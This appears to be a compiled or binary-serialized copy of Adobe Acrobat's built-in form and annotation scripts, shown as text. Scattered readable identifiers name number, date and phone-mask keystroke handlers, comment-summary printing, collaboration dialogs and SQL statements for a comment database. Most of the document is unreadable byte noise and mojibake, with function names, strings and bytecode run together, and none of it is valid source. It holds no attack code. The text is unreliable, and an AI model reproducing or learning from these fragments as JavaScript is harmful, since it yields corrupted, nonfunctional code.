EScriptStringIDS_INVALID_VALUEtarget [ name ]appalertbeeprcstrvalvaluecommasRegExpcompile,replace.����AFPercent_Keystroke$�nDecsepStylei���F9��T�T�>�>�=�C�:Q���3AFNumber_Keystroke����isNumber�ch˛��KT=EQT=��و 09����isAlphabetic8�
ch�k�PT=EQT=DQT=EQT=��ސو(azAZ����isAlphaNumeric,�ch����V9��T�:DQ9��T�:���*isNumberisAlphabetic����isReservedMaskChar8�chܜ#�[T=D-QT=DQT=DQT=����:9XAO����
maskSatisfiedu�<vCharmChar=���`Tx=y(=y1=y:=yCz@9��T�:9��T�:9��T�:CTT�cq��m
���m
���m
���mʘ�d��Ӑ���Ӑ���Ӑ�������Ȑ�9AOXisNumberisAlphabeticisAlphaNumeric����indexOfNextEssentialZ�1mask
startIndexi��G�uTWQ<m9��T�
�V�:�:	VV#?WQQ�VT��������&<0J�����x������w�*̘�z��w�Ә�|��
isReservedMaskCharcharAtlengthJ����AFSpecial_KeystrokeEx��AmaskvaluecAlert
nMaskIndexnValueIndexnOffsetnChangeStartmCharvChar
nextEssential
nChangeEnd
maskSubstringi���9��;�:WQV DQT� ;5=T=WQ;5�9��T�V��:�=;5	 ;
�
�V�:Q;B6Q=;;5
T�
�V��T��:6
Q>WQ>WQ>WQ;5WQ�mT�
�V�:WQV�
�V�:WQ9��V�V�: �9��T�V�:WQ;5;5�VW	QVT�ErQ9��V�: EYQV�EMQ9��V�T�
�V�:�:E"QVVVEQVVV	�T�
�V�V�:W
Q;;5�
�>�VVV�:V
;5�
�VVV�:6QVV
�WQVWQ8;5	 ;
�
�V�:Q;B6QV#?WQQV#?WQQ�VV�����ؐ��ʈ
�����ސ�����8������Ր��̐���������������ΐ�(�𕐈����֐֐�����ڐ␐҈%ِ�������ڐ���Ր��А�̐�������Ր��̐������̐�̘���
Ә���
AFMergeChangeeventlength
EScriptStringIDS_INVALID_VALUE = ""
willCommitindexOfNextEssential
silenceErrorsappalertrcvalue	substringselStartcharAt
maskSatisfiedchangeisReservedMaskChar�����AFSpecial_Keystrokev�l!psfvaluecommitnoCommitcAlert��,��
9��;�:WQVQVQV TFy4Kb;WQ;WQJ;WQ;WQ3;WQ;WQ;WQ;	WQ9
�
�;5
VV�V�: �;5EQ;5 a;
5WQ;5@(V=;55=WQ;�
�V�:Q;�
�>�:Q;B6Q���ؐȐ����[yݐ���ɐ�ɐP���ɐ�ɐP���ɐ�ɐP���ɐ�ɐP�������Ј�\�ΐ����p��ڐ���Ӑ�̈
AFMergeChangeeventAFZipCommitRegExpAFZipEntryRegExpAFZip4CommitRegExpAFZip4EntryRegExpAFPhoneCommitRegExpAFPhoneEntryRegExpAFSSNCommitRegExpAFSSNEntryRegExpAFExactMatch
willCommit
silenceErrors
EScriptStringIDS_INVALID_VALUEtarget [ name ]appalertbeeprc����AFDate_KeystrokeEx��2cFormatcAlertcAlert2K����;5E.Q9��9��;�:�T�: �;5EQ;5 ~;5WQ;5WQ;5@(V=	;55
=WQVVTWQ;�
�V�:Q;�
�>�:Q;B6Q��Ј���Ј�y�ΐΐ����p���p��ڐ���Ӑ�̈event
willCommit
AFParseDateEx
AFMergeChange
silenceErrors
EScriptStringIDS_INVALID_DATEIDS_INVALID_DATE2target[ name ]appalertbeeprc����AFDate_Keystrokez�pdfcOldFormats���;�=�=�=�=�=�=�=�=�=	�=
�=�=�=
�=�RWQ9��VT7�:Q���ސӐ��׈%Arraym/dm/d/yymm/dd/yymm/yyd-mmmd-mmm-yy	dd-mmm-yyyy-mm-ddmmm-yymmmm-yymmm d, yyyymmmm d, yyyym/d/yy h:MM ttm/d/yy HH:MMAFDate_KeystrokeEx����AFTime_Keystroke��-ptfcAlert��;5E"Q9��;5�@�: �;5EQ;5 a;5WQ;5@(V=;55	=
WQ;�
�V�:Q;�
�>�:Q;B6Q���Ј����Ј�\�ΐ����p��ڐ���Ӑ�̈event
willCommitAFParseTimevalue
silenceErrors
EScriptStringIDS_INVALID_VALUEtarget [ name ]appalertbeeprc����AFNumber_Format��lnDecsepStylenegStyle	currStylestrCurrencybCurrencyPrependvaluesignf	formatStr�
�)9��;5�:WQV>�?WQ;5WQ=WQV@;=6QT?DQT�:V>V;56QV;56Q;	�;
�
�=T=
T=�V�:�RWQT>D	QTEQV�
�>�?�:=V�
�?�:WQV>EQTEQT>=WQT�DQT�EQV>V=WQTVTWQVVWQT VTWQT�DQT�EQV>V=WQ;V6Q��ݐѐΐɐ�
���А��������ؐ��Ӑ���������Ԑ�����ɐ����͐���ː��ː����ː����͐��ΈAFMakeNumbereventvaluetarget	textColorcolorblackredStringutilprintf%,.f	substring-()����AFPercent_Format��
(
nDecsepStylebPercentPrependvalue	formatStr*�ַX9��;5�:�dWQ=T=T=WQV@;=6Q;�
�V�V�:WQT;=	V6Q;V=	6Q���ݐ�
���А�����ܐ���ِ��ԈAFMakeNumbereventvalue%,.futilprintf%����AFSpecial_Format��8
psfvalue	formatStr
NumbersStr�c�m	;5WQV TF�+9�=WQk=WQ];�
�=�V�:WQV��
=WQ=	WQ=
WQ;;�
�V�V�:6Q��ΐ����[��ݐ��ɐP��ɐP��ސ��ΐ�ɐP��ɐP�����,eventvalue99999
99999-9999utilprintx
9999999999length(999) 999-9999999-9999999-99-9999����AFParseDateYCount�KcFormatyCounti�����>WQ>WQ]mT�
�V�:x=y=yz$V#?WQQV?WQV#?WQQ�VT�����V����$]Qk�������`9�m
���mʘ����̐P���t�P����%̘������Ә����charAt\ylengthk����AFParseDateOrder��
�cFormatcOrderspliti�����=WQ=WQ>WQ*mT�
�V�:x=y2=y9=y]=y�=ywz�V#?WQQ�V�
�=�:�V=WQ�V�
�=�:�V=WQfV�
�=�:�V=WQ8T�
�V�:=T�
�V�:WQV#?WQQ�VT�	����V�
�=�:�V=WQV�
�=�:�V=WQV�
�=�:�V=WQVVWQV��ɐɐ�$�*��8�������`��m
���m
���m
���m
�mʘ����̐P������p�P������p�P�������p�P�����֘���%̘������Ә������p�����p�����p��v���charAt\mdjyindexOflength8����AFParseGMTDateStringx�)	cGMTDateString	timeStampdate��a��T @T�
�=�:�@;�
�T�:WQ9��V�:B ;�V�RWQV@�������������ؐ��Ґ�ɐ�����indexOfGMT+DateparseisNaN����AFDate_FormatEx��	8cFormatgmtDatedate����;5 ;5�
�=�:�O9��;5�:WQV*;;�
�T�V�:6Q9��;5�T�:WQV ;=6Q;;�
�T�V�:6Q�����������ݘ�����
㐈
��ᐈ��А������)eventvalueindexOfGMT+AFParseGMTDateStringutilprintd
AFParseDateEx����
AFDate_Formatz�pdfcOldFormats���;�=�=�=�=�=�=�=�=�=	�=
�=�=�=
�=�RWQ9��VT7�:Q���ސӐ��׈"Arraym/dm/d/yymm/dd/yymm/yyd-mmmd-mmm-yy	dd-mmm-yyyy-mm-ddmmm-yymmmm-yymmm d, yyyymmmm d, yyyym/d/yy h:MM ttm/d/yy HH:MMAFDate_FormatEx����
AFTime_Format��&ptfdatecFormats,�a�;5 9��;5�@�:WQV ;=6Q;�=�=�=�=�RWQ;;	�

�VT7�V�:6Q�� �����ߐ���А�����ߐ���/eventvalueAFParseTimeArrayHH:MMh:MM ttHH:MM:ss
h:MM:ss ttutilprintd����AFTime_FormatExp�cFormatdate}�q�.;5 9��;5�@�:WQV ;=6Q;;�
�T�V�:6Q������ߐ���А������)eventvalueAFParseTimeutilprintd����AFSignatureLockM�	�doc
cOperationcFieldsbLockaFieldsifaj���;9��T�:WQT=`>WQCmT�
�T�
�V�:�:WQVT6QV#?WQQ�VT5����T=
T UQT=DQT=E
QT �>WQxmT�
�VV7�:WQV�
�:WQ>WQ"mVV7T6QV#?WQQ�VV�����V#?WQQ�VV������@֐�����$C7Q����D�吐�̘�D�%̘�G��D�Ә�K�����Ȑ�ވ9��$xl������P�ڐҐ��$"0����T��И�T�!̘�U��T�Ә�P�&̘�U��P�Ә�U�AFMakeArrayFromListTHESEgetFieldgetNthFieldNamereadonly	numFieldsEXCEPTgetArraylength���0.Q����AFSignature_Format2�
cOperationcFieldsbLock1�|�[;5=WQ9��A�T�T�V�:Q��`Ԑ��݈2eventvalueAFSignatureLock����AFStringReplace�cStringoRegExpcReplacement����dT�
�T�T�:��׈.replace����LookUpWordEnable,� countrybEnableb���kBWQTx=y
zCWQ
V��r��c��mʐ��P���P�����ENU����LookUpWordDefinitionURL��[	cWordcountrywordStrurl��^��VQ=WQTx=y
z�=WQ=WQn>oQkmT�
�;�:=V=WQ!VT�
�;�:WQn;#?�
oQQ�;T�����VVWQ
V���͐�c����mʐ��ɐ��ɐ�� kS{�����Ґ��ܘ���ؘ������
՘���ːP����P�����ENU/http://www.dictionary.com/cgi-bin/dict.pl?term=icharAt +lengthC{����encryptUsingPolicyForJSObject)�
`pDoc	cPolicyIdaEmailAddressesoPermissionsbAllowUIresultsallowUIusersigroup�����
VQCWQT@TWQT@�;�RWQ>WQ,mVVYTV7]\8QV#?WQQ�VT�����;�RWQVV6QT@VT6QT�
�YYT]\]ZV`\]V]	\�:WQ9T�
�YYT]\]V]	\�:WQV�������
������̕ΐ�$, :�������ژ���-̘������Ӑ��ΐ�̐��
��̐����ː������ObjectemaillengthuserEntitiespermissionsencryptUsingPolicypolicyIdoPolicyoGroupsbUI<:����LoginForGuardianN�
apsHandler��n��;�
�=�C�:WQV5 &V�
�YC]\�:C���ܐ��!��ᐐ��security
getHandler	Adobe.APS
isLoggedInloginbUI����RefreshPoliciesForGuardian&�policies�����;�
�:WQVCB����Ԑ������
securitygetSecurityPolicies����AFValidateEmailSyntax(�
emailAdress	regXEmail��	��;�=�RWQV�
�T�:���Ԑ�ӈ#RegExp�^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\-+)|([A-Za-z0-9]+\.+)|([A-Za-z0-9]+\++))*[A-Za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1,63}\.[a-zA-Z]{2,6}$test����e������str���������J�irval2���;�
�Y=]T]\�:WQV==TV�����ʐ��app	getStringFormscPlugInName	cStringIdempty:����debugExcept<�
e�r� ;5�=EQ;5;�
�T�:Q�����Ոapp_DEBUG	undefinedconsoleprintln�����s�op����'	;�
�:QTK>mMWQTV7�=%TV;�
�TV7�:8Q�L����N;�
�:QT��ѐ5Aː�����鐐�ѐ��	app	beginPrivfunctiontrustPropagatorFunctionendPrivA����ANClipPrec3��6ok����3T'x=y=yJzgTK)mMWQTV9��TV7�:8Q�L����NT0;�
�TX��:X�T��	d����m
��<mʘ�7�5,ː�琈�P���ݐP����P��objectnumberANClipPrec3Mathround(,����CBEncodeMaybeInternalStrings�
s����ET�
���:��ې��replace�����6�sid���G=T=T=;T7�
�:=�	��c(AnnotsString. ? AnnotsString. : AnnotsStringtoSource)\$\$\$([a-zA-Z0-9_]+)�����y�	
���M;5�E"Q;5�
��: DHQ;5�E5Q9��;5�;5�:;5��ӈ#��napp
viewerVersion
viewerTypematchrequestPermission
permissionannotcreategrantedReader�����g�	
���S;5�EXQ;5�
��:@E5Q9��;5�;5�:;5�����Rapp
viewerVersion
viewerTypematchrequestPermission
permissionannotcreategrantedReader������aI�^�^=ˆ�*None*�����4�av���_;5T5�
�T5�:;5ˆ�XAnnotsString
IDS_SUM_PAGE1docgetPageLabelpage
IDS_SUM_PAGE2�����0�	as��D�`;5T
T
T5;5ˆ��NAnnotsStringIDS_SUM_SEQ1seqNumIDS_SUM_SEQ2����� �a]���a;5T5;5ˆ߈JAnnotsStringIDS_SUM_AUTHOR1authorIDS_SUM_AUTHOR2�����W�ad��o�b	T5WQ;5V&;�
���T5�:;5;5̐��!����modDateAnnotsString
IDS_SUM_DATE1utilprintdIDS_DATE_INDETERMINATE
IDS_SUM_DATE2����� �a����f;5T5;5ˆ߈FAnnotsString
IDS_SUM_TYPE1uiType
IDS_SUM_TYPE2�����9�as��W�gT5WQV#;5V;5
=̐��HsubjectAnnotsString
IDS_SUM_SUBJ1
IDS_SUM_SUBJ2������a��p=ˆ�*None*�����4�a
�g�q;5T5�
�T5�:;5ˆ�XAnnotsString
IDS_SUM_PAGE1docgetPageLabelpage
IDS_SUM_PAGE2�����0�	as���r;5T
T
T5;5ˆ��NAnnotsStringIDS_SUM_SEQ1seqNumIDS_SUM_SEQ2�����
�a��sT5ˆɈauthor�����R�	ad ���t	T5WQV<;5;�
���T5�:;5
=̐�7��`modDateAnnotsString
IDS_SUM_DATE1utilprintd
IDS_SUM_DATE2����� �a���x;5T5;5ˆ߈FAnnotsString
IDS_SUM_TYPE1uiType
IDS_SUM_TYPE2������as!�N�yT5WQ=̐��
subject����binsert��9amnStartnEndnMid�x��	>WQT�?WQbm;�
�VV��:WQT�
�:TV7�
�:V?WQV?WQ�VV����VT�E'QT�
�:TV7�
�:%T�
�V?�>�T�:QT�
�V�>�T�:Q�Ӑ�(k�������ߐ����ΐ��ɘ���Θ��� ����وlengthMathfloortoStringsplicek����isort��
OastatusiaNew�,��VQ;�RWQTF;5�
�:Q;5T�6Q;5T6Q>WQHmT;5V6Q9��V�TV7�:QV#?WQQ�VT�����T;5�	
�:QV��ΐ����֐�ؐ�Ӑ��$H<V���������Ӑ�ۘ���̘������
Ә����֐��ArrayappthermometerbegindurationlengthtextvaluebinsertendeV����
ANstatefulG�annotD���TEBQT5�=E-QT55�=EQT55��ɐ�Ր�ڐΈstateobject	undefined����ANsumFlatten�qamisresultnitemsubj�d��
Z\WQTTT�
��:Q>WQ�mTV7WQV�
�V�:QV�
�T�:Q9��TV57�T�T9��V�:>?�C�:WQ>WQ)mV�
�VV7�:QV#?WQQ�VV�����V#?WQQ�VT����+V�ɐ������՘���$�̀��ږ����ː��Ӑ�Ӑ���א��$)7��ؘ�ˈ#̘�̘�ˈӘ��� ̘�̘���Ә�ψ�sortpushANsumFlattenname
ANstatefullength�����)�abp����T5�
�:T5�
�:��;creationDategetTime8��7����ANsummAnnot��3EyannotscaledocrpseqNumprintWithCustomLayoutassocattribssheelPointAsRectoldColorcontentsoverlayTextmodelsstatesda}�
�CWQ=WQT?T6QT5ZTZT5>7�4`>`\6QT�
�Y�2]T5]�]\�:QT�
�Y�T]T5	]T5
=T5
T5
]\�:QTEQT5 HT#;;�
�T�T�:;;�
�T�T�:WQn>oQ�m;;7TwT%;;;7�
�T�: ;;;7�
�T�:WQV(VV=
=VWQn;#?�
oQQ�;;����OT5WQV�
�V�:WQT5 E
QT .T�
�V�T�T5�V�:QqT5 CT�
�V�T�T5�V�B�=T�T5�:Q%T�
�V�T�T5�:QT5WQTZ=`<`<`<`\6QT�
�<T�B�:QTV6QT5WQVT=6Q= WQT5
=!nT5"EQT5"=M;#5$�%
�=&�T5"�:WQT�
�V�T�T5�:QT�
�V�T�T5�:QT�
�=�T�T5�:Q;'�(
�B�:WQn)>o)QdmT�*
�V;)75+�:WQV�>T�
�=;#5,�T�T5�:QT�
��T�:Qn>oQ�m;-�.
���V;75/�:W	QV;750WQV;751W
QT�
�V
= V=V	�T�T5�:Qn;#?�
oQQ�;V����YT�2
��T�:Qn);)#?�
o)QQ�;)V�����T�2
��T�:Q��ɐ��ΐ�����䐈���
吐�Ɉ�������� ����������� �����
�p���%ؘ�였�ט��̐��֐��ψ)��鐈
�>�������̐���ې�̐�̐���Ӑ��ɐ��������萈�	��␐�֐�� �d�L�t�����	�ᐐ����퐐�֐��� �����������	!��ҐҐ���	 �!ؘ�	&��	 �՘�	)�֘�	�!ؘ�	)��	�՘�	-�ֈsize
reviewIconcolumns
writeImagenAmountoIconcolumnindentuiIcontypeFreeText	fillColorstrokeColorcolor	inReplyToANsumsCLANSB_SeqANsumsj
ANsumorder	lengthcontainedPopupHeelPointconcat	writeTextpageRGBdividerichContentsstyleDefaultNoteText RedactoverlayTextAnnotsStringIDS_FLASH_OVERLAY_TEXTreplace
{overlayText}CollabgetStateModelsigetStateInModelnameIDS_SUM_STATUS_TITLEutilprintdmodDateNameauthoroutdentCt��D��������?�������?�������?ffffff�?����ANsummarized�?��doctitleprdestfsprinttwoUp	useSeqNumscale
noAssocDocfilter
paperWidthpaperHeightincludeAllPages	startPageendPage
assocColorassocOpacityprintWithCustomLayoutthermoUpana2n2curAnnottitemjassocDocicontents
oldHeading
lastAnnotPage
curFooterTextseqNumnoAnnotPageind
footerTextheading
%0	T	 
?U	QCWQ;5�
�:Q�;5;56Q;T7 ;UQT ;5UQA�	
�:QZ\WQT'=
DQT>
>UQT'=
DQT>T5?UQTWQ�mT�
�V�T�T�T'=
;
T�:WQ>WQumVV7WQV5 E7QV5 DQV55 EQV5=V�
�V�:QV#?WQQ�VEQVV����yV#?WQQ�VT���VEQV�>$;5V��6QY\WQ>WQmVV7WQVV57 #VV5ZV`\8Q!VV57�
�V�:QV#?WQQ;5V�6Q�VV����x9��V5�V�>�B�:WQV�?WQ%mVV
7VV�78QV�WQ�V�����VEQV�>?VQ;�Z>`>`T
TXd`T

T
X`\�RUQT
@TW	QTT
T"Z=`>`>`>`\6QTT
T?6QTT;6QTT6QT=!6 QT<T	6"Q;5#T;5$WQT�%
�V�:QT�&
�<T	�B�:QV
QVQVQVQV
Q=WQ?WQV	E	QT�T=!6 QT<T	6"QTWQ�mTE
QT F;�'
�:QT�(
�V	�V���:Q;�)
�:Q6T�%
�;5*�V	�V�:QT�+
�:QV#?WQQ�VV>75,E
QVT���R>W
Q�m;5V�V
6QVV
?7WQVV
7WQ=WQT=!6 QT�T	6"QV
'=
EQV5,V
A=WWQT�-
�:QT�+
�:QV	E	QTT=!6 QT<T	6"QV
?WQ�mTE
QT F;�'
�:QT�(
�V	�V���:Q;�)
�:Q6T�%
�;5*�V	�V�:QT�+
�:QV#?WQQ�VV5,E
QVT���TT=!6 QT�T	6"Q?WQ=.;5/T�0
�V5,�:;51WQVVVWQT�-
�V�:Q>mT�2
��T	�:QT�2
��T	�:QV#?WQQ�V>����>mT�3
��T	�:QT�3
��T	�:QV#?WQQ�V>����V5 �;T�
�V�:WQVVlV'=
T�%
�=4�:QT�%
�V�V	�V5,�:QVWQT�&
�YB]5\�:QT596�6�V�T	�V	�T�T�V�T�:Q.96�6�V�T	�V	�T�T�B�T�:QV5 V#?WQQV5,W
QV
�W
Q�V
V����T�-
�:QV	E	QT�T=!6 QT<T	6"QV5,?WQ�mTE
QT E;�'
�:QT�(
�V	�V�?�:Q;�)
�:Q'T�%
�;5*�V	�V�:QV#?WQQ�VV	5E
QVT���dV BWQ;5�7
�:QVEQV�>_T'=
!T�8
�T�T�:Q4TT�9
�:QT�:
�V�:QE�vWQ;�;
�YV5<]=T]>\�:Q�V;5�7
�:QVV��>��������֐����ڐ�����ɐ���ΐ���͐��ɐ����������ΐ�&��׀얐���	L�׈%�
ڐ��	$ui��������	P��ː��	ψψ���Ә�	O�+̘�	U��	O�ܘ�	K�(̘�	U��	K�Θ�	Y����ې�ʐ��$]�������	`�ː�����ސ��ܘ�	_�!☀	f��	_�Ә�	k�㐐��� %-���p��	n�%u��	o��	n�͘�	r��:������ݐҐ��Ԑ�Ґ�̐�ΐ�Ґ�ݐ�Ӑ�ې�̐��ɐ�������ΐ�Ґ���	&����������	��	���ɈA���ѐ�ڐ�֐����␈Ϙ�	��Y̘�	���	��&☀	��	$�ـπ疐���	���ܐ��͐ːɐ��ΐ�ϐ�����̐�ϐ�ϐ����ΐ�Ґ���
� ����������
��	���ɈA���ѐ�ڐ�֐����␈Ϙ�	��f̘�	Ø�	��/�	Ljΐ�ϐ��������������Ӑ�� >2E��׈֘�	Ո̘�	֘�	Ո
̐� >2E��׈֘�	׈̘�	ؘ�	׈
̘�	ۈ���א������Ր����ܘ�	�0��𐐈鐐����̐���̘�	��u��	�	��Ә�	�ϐ�����ΐ�Ҙ�	��	� ��z������	��	���Ɉ@���ѐ�ِ�֐���☀	��i̘�
��	��.嘀
��
�����֐���������ܐ��Ԑ���x���ʐ���{����֐��׈appthermometerbegintextAnnotsStringIDS_PROGRESS_SUMMARIZEANsums	ANSB_PageIDS_UNNAMED
syncAnnotScan	undefinednumPages	getAnnotsANFB_ShouldSummarizehiddenstaterefTypeGrouppushlengthduration	inReplyTovalueANsumFlattenReport
assocColorRGBassocOpacityignoreAnnotLayersANFB_ShouldNone
joinAssocsstyle	NoteTitlesizeIDS_SUM_TITLE1IDS_SUM_TITLE2	writeTextdivide	beginPrivcopyContentFromDocendPrivIDS_SUM_NO_COMMENTS	breakPagepage
setFooterText
IDS_SUM_FOOTER1getPageLabelIDS_SUM_FOOTER2outdentindent	
bNewPageOkANsummAnnotendsaveprintopenalertmessagecMsgoDoc����e*�
�	�q��E�EV����-���"�@@@@@�������$s
dialog�%2,

9��Y=]Z=`=`\]Y\]Y\]Y=]	ZY=
]=]ZY=
]=]	YZ� `Y=]\`\]\]ZY=]=]	\`Y=]=]X,]X�]\`\]\`Y=]\`\]\`\]\]�]�]�]�]�]�]�] �]!�]"�	]#\�:WQV�#
�:Q�ː�ʐܐːː��ʐ���ʐʐ���ʐʐ��ʐϐ��ʐʐȐؘ�
P�昀
Xʘ�
iʘ�
mʘ�
xʘ�
�ʘ�
�ʘ�
�ʘ�
�ʘ�
�ʘ�
�Ә�
��ψANTrustPropagateAllacrobatRMACRtypelocal.clientservicesdomains'$$$/Dialogs/CommentRepositoryAutoConfignameview
align_leftalign_childrencluster4$$$/Dialogs/CommentRepositoryAutoConfig/ClusterTitle
zstring_widthsumwidthstatic_text4$$$/Dialogs/CommentRepositoryAutoConfig/PleaseSelectlist_boxseleitem_idheightelements	ok_canceldescriptionupdateServicesaddServicesremoveServices
initializevalidatecommitdestroyresolvedoModal�����l�dialogseleenabledi_)S*X
T�
�:5WQBWQVK#mMWQVV7>CWQ
�L����NT�
�YV]\�:Q�א��5&ː������@Θ�
f�ވstoreseleenableok&&�����%�s*�*i
A5�
�YA5]\�:Q���*dialogloadservicessele�����\�servicesiservice�*�+m
	TK@mMWQTV7WQA5V5�8QA5V5V58Q�L����NA�
�:Q�5Cː�ː��Ґ�ᐐ�͈servicesnamedomainsdomainupdateServices
C�����R�servicesiservice�+�,x
TK6mMWQTV7WQA5V5&QA5V5&Q�L����NA�
�:Q�59ː�ː��А�ِ��͈servicesnamedomainsupdateServices
9�����s�dialog�,v-�
	AT6Q;�
�:QA;�
�A5�A�A5�:6Q;�
�:QA5�	
�YB]
\�:Q��ʐ�ѐ�琈ѐ�߈"dialogapp	beginPrivdiscorSOAP
queryServicestypeclientendPrivenableok�������%
dialogsele
entryCounti�-�.�

T�
�:5WQ>WQVK)mMWQV#?WQQVV7>	C�N��L����NV C;�
�Y;5]�]\�:��א��5,ː��̐���zː�������WstoreseleappalertAnnotsString IDS_CONFIRM_NO_REPOSITORY_CHOICEcMsgnType&,�������
dialogselei�.0�
T�
�:5WQVKomMWQVV7>[;�
�:QA;�
�A5�A5V7�V�A�:6Q;�	
�:Q
�L����N�א�5rː�����ѐ�ѐ@Έstoreseleapp	beginPrivresolverSOAPresolveServicetypedomainsendPriv!r������dialog0G0�
A5�
�:Q��҈discorstop�����k�
nameservice^0%1�
;�
�:Q;�
�T5�T5�:Q;T56Q;�
�:QA5�	
�:Q��ѐ�㐈Ӑ�ѐ�҈app	beginPrivCollabsetStoreSettingstypesettingsdefaultStoreendPrivresolverstop�����T�
<1�1�
;�
�:QA;�
�A5�:6Q;�
�A�:Q;�
�:Q��ѐ�ސ�Ӑ�шapp	beginPrivresolvetrustedFunction
execDialogendPriv����CBgetTableDesc	�>docauthorfragDBName	tableName�2�4�
	;�
�T5�:WQVQVQT5;VWQTWQ=WQVWQT5;;�
�V�:WQT5;;�
�V�:WQYVT5	V
T5	]
V]T5]T]T5]
\�ݐ���������̐����ɐ�������ؐ���ؐ���Ȑ͐ȐψCollabURL2PathFragmentURL
collabDBFlagsCBFDBPerDocCBFNiceTableName
hashString
CBFNiceDBNamecollabDBRootDBName	tableNameuserflags����CBgetTableConnect��
%desceconnstmt546�
	VQ�;�
�T5�:WQV�
�:WQYV]V]T5]T5]T5]\1�vWQ9	�	�V�:QB���������ݐҐ��͐Ȑ͐͐�x��ʈӈz�{�ADBC
newConnectionDBNamenewStatementconnstmt	tableNameuserflagsdebugExcept����er����	CBgetInfo��"
connnameeK6m7�
VQ�T5�
�=T5=�=T=�:QT5�
�:QT5�
�=�:5	1�vWQ9
�
�V�:QB�����������Ԑ�Ԑ��x��ʈӈz�{�stmtexecuteselect CONTENTS from	"	tableName" where AUTHOR	like ?;~nextRow	getColumnCONTENTSvaluedebugExcept����eq����	CBsetInfot�connnamevaluee�7�8VQ�T5�
�=T5=�=T=�T�:1�vWQ9��V�:QB���������	�А�x�ʈӈz�{�stmtexecute
insert into "	tableName#" (AUTHOR, CONTENTS)	values (?, ?);~debugExcept����eB����
CBcreateTable��Wdesceconnstmtsql1sql2�8�<

VQ�;�
�T5�:WQVV�
�:@WQ=T5=WQ=T5=WQYV]V]	T5]T5
]
T5]\WQ�V�
�V�:Q+�vWQ9
�
�V�:Q��V�
�V�:Q+�vWQ9
�
�V�:Q�9��V�=�T5�:Q9��V�=�T5
�:QV1�vWQ9
�
�V�:QB���������ݐݐ��ؐؐ�͐Ȑ͐͐Ґ������x�ʈӀ{������x�ʈӀ{���␈␈|���ʈӈz�{�ADBC
newConnectionDBNamenewStatementcreate table "	tableNameR"	(AUTHOR	varchar(64), PAGE integer, NAME	varchar(64), CONTENTS text,	DATA image);Q"	(AUTHOR	varchar(64), PAGE integer, NAME	varchar(64), CONTENTS clob,	DATA blob);connstmtuserflagsexecutedebugExcept	CBsetInfoURLcreator����e����e����ey������	CBconnectc�"descbDoNotCreateconne�<�=39��T�:WQVQ9��V�=�: +T  9��T�:WQBV�֐����������ې����B��CBgetTableConnect	CBgetInfoURL
CBcreateTable������p5>N>H=ˆ �FSCosObj������pd>|>I=ˆ�SCosObj�����+�	p�>�>J��
�T5�:=Bˆ�
ш,execAPAPCosObj^\#����CBannotData��annotpropstm?@N;T57WQV@p��T�:WQV";�
�TV7�:@WQVEQ;'=V;56QV�Ґ
���А琐Ɉ���Ӑ��CBannotdatatypeCollab
cosObj2StreamADBC	undefinedSQLT_LONGVARBINARY����CBannotSetData>�annotdatapropb@�@];T57WQV(��T�:WQVTVT8Q�Ґ���А�ˈCBannotdatatype����CBDeleteReplyChain��>discrepliescurrentReplylooper	saveChildGABCi	;�
�T�:WQVEQV�?uV>7WQ?WQXm;�
�V�:WQV�
�:QVEQV�?V>7WQ
>WQ�V�����ؐ����ɐ�(]��v���r��vؐ���ϐ����ΐ����q�
ʘ�~�DiscussionsgetDiscussionslengthDeleteC]����CBGetReplyChain��	3dstAnnot
discussiondiscListcosdata�C�E�;�
�T�:WQ;�
�:WQ>WQ?m?WQV�
�V>75�:Q;�
�V>7�:WQ�VEQV�>����V?'9��T�V�
�:�:Q�ؐ�Ԑ��(T����������ڐ���ژ���	ژ��
���*DiscussionsgetDiscussionsCollabnewWrStreamToCosObjwriteTextlengthCBannotSetData	getCosObj6T����CBPutReplyChain��0
discussionbookmarksrcAnnot	cosStreams�EEG�9��T�:WQV�V�
�;5�:WQNm;�
�T�=�V�T�:UQ@WQV�
�;5�:WQ�TEQV�>�����֐���ݐ�(c��������搐����ݘ���
ژ���+CBannotDatareadCollabwdBlockSizeDiscussions
addDiscussionDatalength@c����ADBCAnnotEnumerator8��parentsorted	arguments�G�I�	�����QA�����6QA�����6QA�6Q�ė���А�А��̘�ƈparentsortednext������0�e	arguments:H�I�		�����Q�����Q�A5 wA9��A55�C�:6QA55�
�=A555=A5	=

=�:QA55�
�:Q9
�
�A55�
�=�:5�{w�=�v�Q9���:QB�����ė�ʐ�������㐈�
ڐ��א��x��Ј
وz�{�conn	CBconnectparentdescstmtexecuteselect CONTENTS	from "	tableName"	where AUTHOR not like '~%~'sorted order by	PAGE, NAME;;nextRoweval	getColumnCONTENTSvaluedebugExcept����e�����CBStrToLongColumnThing,�sJkJ�Y;5]T]T�]\���AADBCSQLT_LONGVARCHARtypevaluelengthsize����ADBCAnnotStoreB�docuser�JQS�A9��T�T�:6QA�6QA�6QA�6Q��ݐ�̘�׈̘���̘�'�descCBgetTableDesc	enumeratecompleteupdate������sortedKQK�;�A�T�R��ш-ADBCAnnotEnumerator�����y�j%
toCompleteiconnecosnKCN�VQ9��A5�C�:WQVR>WQ'm;TV757VQ�V5�
�=A55=�TV75	�TV75
�:QV5�
�:Q;�
�:WQV5�
�=�;5;5�V�:Q9��TV7�V�
�:�:Q1�vWQ9��V�:QB����V#?WQQ�TEQVT�����BC��ې��M���$�'��>�����ߐ���������ސ�ԐԐ����x��ʐ��Ӑ�z�{��ވ4̘��ވᘀ��	���	CBconnectdescCBannotdatatypestmtexecuteselect DATA from	"	tableName!"	where PAGE = ? and NAME	like ?;pagenamenextRowCollabnewWrStreamToCosObj	getColumnDATAADBCBinaryStreamCBannotSetData	getCosObjdebugExceptlength����e1>N���������=toDeletetoAddtoUpdateieconn^NMS�VQVQ9��A5�:WQV@B>WQ�m�V5�
�=A55=�TV75�TV75�:Q1�vWQ9	�	�V�:QB����V#?WQQ�TEQVT�
���d>WQ�m�V5�
�=A55=�TV75
�TV75�TV75�9��9��TV7�:�
�:�:�9��TV7�:�:Q1�vWQ9	�	�V�:QB����V#?WQQ�TEQVT�
���>WQ�m�V5�
�=A55=�9��9��TV7�:�
�:�:�9��TV7�:�TV75�TV75�:Q1�vWQ9	�	�V�:QB����V#?WQQ�TEQVT�
���C���ِ
����$��~�������������x��ʐ��Ӑ�z�{����.̘�
����
ܘ��$�߀Ӏ������
������x��ʐ��Ӑ�z�{���(̘����
ܘ��$�Ҁƀ閐���������x��ʐ��Ӑ�z�{���-̘�$���
ܘ�&��	CBconnectdescstmtexecute
delete from "	tableName!" where PAGE =	? and NAME like	?;pagenamedebugExceptlength
